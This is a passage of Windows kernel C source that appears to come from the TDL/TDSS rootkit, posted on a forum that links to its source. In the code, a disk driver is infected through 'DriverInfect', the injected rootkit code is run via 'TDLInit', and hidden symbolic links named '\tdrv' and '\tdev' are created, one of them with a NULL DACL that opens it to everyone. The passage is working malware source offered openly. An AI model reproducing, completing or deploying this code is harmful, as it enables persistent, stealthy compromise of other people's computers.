 GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;

 _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));

 ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);

 if(NT_SUCCESS(ntsStatus))

 {

 WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};

 WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};

 HANDLE hLink;

 UNICODE_STRING usLink;

 

 

 SECURITY_DESCRIPTOR sdSecurity;

 

 RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION);

 RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE);

 

 GetEPNameOffset();

 ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);

 if(NT_SUCCESS(ntsStatus))

 {

 RtlInitUnicodeString(&usName,wcLinkDriver);

 RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);

 ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);

 

 RtlInitUnicodeString(&usName,wcLinkDevice);

 RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);

 ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);

 ObfDereferenceObject(pfoDriver);

 ZwClose(hVolumeDevice);

 ntsStatus=STATUS_SECRET_TOO_LONG;

 }

 }

 }

 break;

 }

 }

 }

 }

 ExFreePool(pdbiInfo);

 }

 ZwClose(hVolumeDirectory);

 }

 }

 ZwClose(hVolumeLink);

 }

 }

 return ntsStatus;

}

EXTERN_C_END

NT_ENDSursa: [Doar userii inregistrati pot vedea linkurile. ] 

__________________